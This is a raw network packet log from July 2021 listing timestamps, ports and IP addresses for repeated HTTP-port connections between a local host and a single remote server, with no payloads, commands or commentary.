Jul 19, 2021 18:36:56.561602116 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.573818922 CEST	80	50077	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.574079990 CEST	80	50079	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.577348948 CEST	50079	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.580252886 CEST	50077	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.623604059 CEST	80	50081	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.623886108 CEST	50081	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.624501944 CEST	50081	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.657604933 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.657756090 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.657957077 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.659235954 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.659667969 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.659796000 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.659876108 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.659953117 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.660130024 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.660209894 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.660361052 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.660449028 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.660815954 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.660900116 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.660959959 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.661020041 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.661205053 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.661271095 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.661375046 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.661459923 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.661505938 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.661619902 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.661681890 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.661906958 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.722067118 CEST	80	50081	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.722223043 CEST	80	50081	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.722356081 CEST	50081	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.755999088 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.756023884 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.756035089 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.756206989 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.756251097 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.756336927 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.756428003 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.756511927 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.756745100 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.758469105 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.758661985 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.832314014 CEST	50081	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.834913015 CEST	50082	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.852550983 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.852581024 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.852590084 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.852606058 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.852622032 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.852771997 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.854573965 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.854861021 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.855019093 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.855171919 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.931866884 CEST	80	50081	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.931994915 CEST	50081	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.934262037 CEST	80	50082	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.934364080 CEST	50082	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.934984922 CEST	50082	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.948978901 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.949011087 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.949028015 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.949037075 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.949048042 CEST	80	50080	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:56.949307919 CEST	50080	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:56.986269951 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.032568932 CEST	80	50082	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.032599926 CEST	80	50082	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.032740116 CEST	50082	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.066488028 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.066632032 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.067774057 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.068075895 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.068459988 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.068696976 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.143454075 CEST	50082	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.144942999 CEST	50084	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.147337914 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147396088 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147411108 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147425890 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147442102 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147453070 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147478104 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147655964 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.147747040 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.147877932 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147918940 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147934914 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.147960901 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.148058891 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.224824905 CEST	80	50084	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.225286961 CEST	50084	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.226131916 CEST	50084	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.227545977 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.227576017 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.227585077 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.227600098 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.227607965 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.227623940 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.227726936 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.227785110 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.227940083 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.241472960 CEST	80	50082	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.241652966 CEST	50082	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.274265051 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.274426937 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.305080891 CEST	80	50084	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.305118084 CEST	80	50084	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.305259943 CEST	50084	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.306233883 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.306282997 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.306302071 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.306372881 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.306396961 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.306447029 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.306572914 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.306688070 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.306802034 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.306937933 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.307044029 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.352994919 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.353038073 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.384977102 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.385005951 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.385015965 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.385025024 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.385186911 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.385303020 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.408405066 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.408694029 CEST	50084	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.410001993 CEST	50085	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.487608910 CEST	80	50084	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.487770081 CEST	50084	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.492978096 CEST	80	50085	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.493182898 CEST	50085	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.493457079 CEST	80	50083	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.493653059 CEST	50085	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.493700981 CEST	50083	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.530832052 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.576598883 CEST	80	50085	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.576769114 CEST	80	50085	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.576850891 CEST	50085	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.624028921 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.624286890 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.624913931 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.625238895 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.625772953 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.626583099 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.689599991 CEST	50085	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.691262960 CEST	50087	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.718302965 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.718343973 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.718497038 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.719417095 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.719695091 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.720303059 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.720504045 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.720563889 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.720663071 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.720690966 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.720753908 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.720798969 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.720868111 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.721185923 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.721266031 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.721307039 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.721375942 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.721800089 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.722106934 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.722281933 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.722301960 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.722556114 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.773428917 CEST	80	50085	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.775655985 CEST	50085	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.783818007 CEST	80	50087	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.783961058 CEST	50087	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.785321951 CEST	50087	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.813502073 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.813544035 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.813555002 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.813714981 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.813767910 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.845444918 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.845719099 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.877695084 CEST	80	50087	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.889820099 CEST	80	50087	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.890002966 CEST	50087	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.908193111 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.908220053 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.908356905 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.908387899 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.908416033 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.938913107 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.938947916 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.938958883 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.939095974 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:57.939246893 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.939376116 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.939522982 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:57.939621925 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.001454115 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.001511097 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.001585960 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.001597881 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.003712893 CEST	50087	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.003931999 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.004101992 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.005783081 CEST	50088	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.032934904 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.033046961 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.033129930 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.033184052 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.034032106 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.089906931 CEST	80	50088	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.090060949 CEST	50088	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.091142893 CEST	50088	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.095864058 CEST	80	50087	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.096028090 CEST	50087	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.097178936 CEST	80	50086	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.097331047 CEST	50086	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.112030983 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.112821102 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.112845898 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.112938881 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.113174915 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.113297939 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.175271034 CEST	80	50088	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.190790892 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.190819025 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.190839052 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.190938950 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.190996885 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.191076994 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.191239119 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.191328049 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.191351891 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.191409111 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.191611052 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.191695929 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.191854954 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.191948891 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.192136049 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.192231894 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.192534924 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.192647934 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.192953110 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.193098068 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.193347931 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.193456888 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.193716049 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.193733931 CEST	80	50088	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.193921089 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.193945885 CEST	50088	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.268675089 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.268703938 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.268800974 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.268884897 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.268938065 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.269169092 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.269256115 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.269445896 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.269545078 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.269607067 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.269678116 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.269970894 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.270056009 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.270378113 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.270483971 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.270925999 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.271020889 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.272222042 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.272341013 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.314165115 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.314290047 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.346823931 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.346913099 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.347079039 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.347098112 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.347707987 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.347841024 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.347995996 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.350135088 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.350162983 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.350186110 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.350209951 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.351190090 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.351217031 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.392205954 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.392246962 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.424956083 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.424981117 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.424990892 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.425004005 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.425152063 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.425297022 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.478255987 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.478379011 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.478562117 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.478724957 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.478856087 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.478975058 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.479089975 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.479235888 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.479363918 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.479492903 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.537684917 CEST	50088	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.539778948 CEST	50090	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.556431055 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.556456089 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.556822062 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.557081938 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557097912 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557106018 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557117939 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557125092 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557140112 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557152987 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557161093 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557166100 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.557168961 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557182074 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557195902 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557207108 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557218075 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557224989 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557234049 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.557235956 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557266951 CEST	80	50089	185.114.247.54	192.168.2.6
